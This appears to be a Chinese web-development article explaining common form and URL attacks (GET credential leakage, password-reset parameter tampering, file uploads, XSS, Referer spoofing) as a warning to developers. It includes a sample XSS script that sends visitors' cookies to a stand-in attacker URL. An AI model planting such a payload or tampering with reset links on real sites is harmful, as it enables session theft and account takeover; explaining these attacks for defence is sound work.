網(wǎng)站建設知識
website knowledge
有時候程序員為了偷懶或者是在無意識的情況下缺少了對外部數(shù)據(jù)的過濾,Web安全習慣上將所有用戶輸入的數(shù)據(jù)假定為受污染的數(shù)據(jù)(即可能帶有攻擊性的數(shù)據(jù)),現(xiàn)在比較流行的XSS(跨站腳本攻擊)就是利用對用戶輸入過濾不完全而進行的攻擊,因為用戶數(shù)據(jù)過濾不完全會導致很多很多問題,我這里只是簡單的介紹幾種比較常見的表單及URL攻擊方式,希望讀者能夠更大限度的注意過濾用戶輸入。
1)表單數(shù)據(jù)泄漏攻擊
這個一般剛入行的人可能會犯錯,說得通俗一點,就是該用POST方式提交數(shù)據(jù)的時候,用了GET方式提交數(shù)據(jù),比如,用戶登錄時候用了GET方法,導致用戶名和密碼都在URL上直接顯示出來了,當然假如真的傻到這種程度,這種應用大多還是屬于自己玩玩的東西,不是產(chǎn)品。還有一種是登錄等操作,在提交數(shù)據(jù)的時候被竊聽或者攔截了,這種沒有很好的方式去解決,更多就是利用可以在瀏覽器上執(zhí)行的腳本,比如JavaScript對密碼和用戶加密后提交到服務器,而且更好采用不可逆的公共算法,在瀏覽器端執(zhí)行的腳本如果使用自己的算法,會增加被破解的幾率,當然如果你的加密程度能超過或者接近現(xiàn)在流行的公共加密算法,那么也是可以的:)
2)語義URL攻擊
這也是利用提交的形式及參數(shù)進行攻擊的,假如使用GET方式找回密碼,url為:http://example.org/private.php?user=abc&email=abc‘11.org,那么產(chǎn)生的攻擊也很簡單,只要將user=abc改成任意其他的存在的用戶密碼就會發(fā)到后面的email中,輕松獲取別人密碼,POST方式大體也是通過竊聽方式獲得提交的數(shù)據(jù)
3)文件上傳攻擊
文件上傳造成的危害在表單攻擊中是更大的,假如成功入侵,更壞的情況甚至是可以干任何想干的事情,因此對此不可小覷。常見的有大文件攻擊,假如你的服務端沒有做限制的話,那么你的硬盤很快就會被塞滿,或者是你在客戶端中只是簡單的限制了一下,那些對于心懷不軌者都是擺設,太容易繞開了。假如上傳的是一個可執(zhí)行的腳本,在某種情況下會激活這個腳本,那么后果就不堪設想,驗證上傳文件的后綴和限制上傳文件的種類是能避免大多數(shù)低級別的攻擊者,但根本還是讓存放用戶上傳的文件的目錄沒有執(zhí)行權限,腳本不能執(zhí)行,那么它也僅僅是一般文本而已。
4)跨站腳本攻擊
跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺上的Web應用都深受其擾,PHP應用也不例外。
所有有輸入的應用都面臨著風險。Webmail,論壇,留言本,甚至是Blog。事實上,大多數(shù)Web應用提供輸入是出于更吸引人氣的目的,但同時這也會把自己置于危險之中。如果輸入沒有正確地進行過濾和轉義,跨站腳本漏洞就產(chǎn)生了。
比如在一個博客平臺提供商,一個心懷不軌的用戶在寫博客時故意在內(nèi)容中插入<script> document.location = 'http://abc.example.org/steal.php?cookies=' + document.cookie</script>,結果所有瀏覽這篇文章的讀者的Cookie信息都在不知情的情況下發(fā)給了第三方。
5)HTTP請求欺騙攻擊
所謂上有政策下有對策,很多項目為了更大程度的得到高可信度的用戶輸入,甚至添加了判斷referer的功能,可惜這個東西十分的不靠譜,隨便一個CURL就可以欺騙過去。
畢竟所有的傳輸都只是個協(xié)議而已,而HTTP協(xié)議本身只是負責傳輸,并不負責諸如安全之類的其他問題,所以過程怎么偽造都是可以的,只要攻擊者足夠的熟悉HTTP協(xié)議,針對HTTP協(xié)議本身的攻擊,似乎目前還沒有看到,雖然欺騙、攻擊隨處可見,方式變化多樣,只要做好了過濾,多想一點再多想一點,任何攻擊得到的都是一個錯誤頁面而已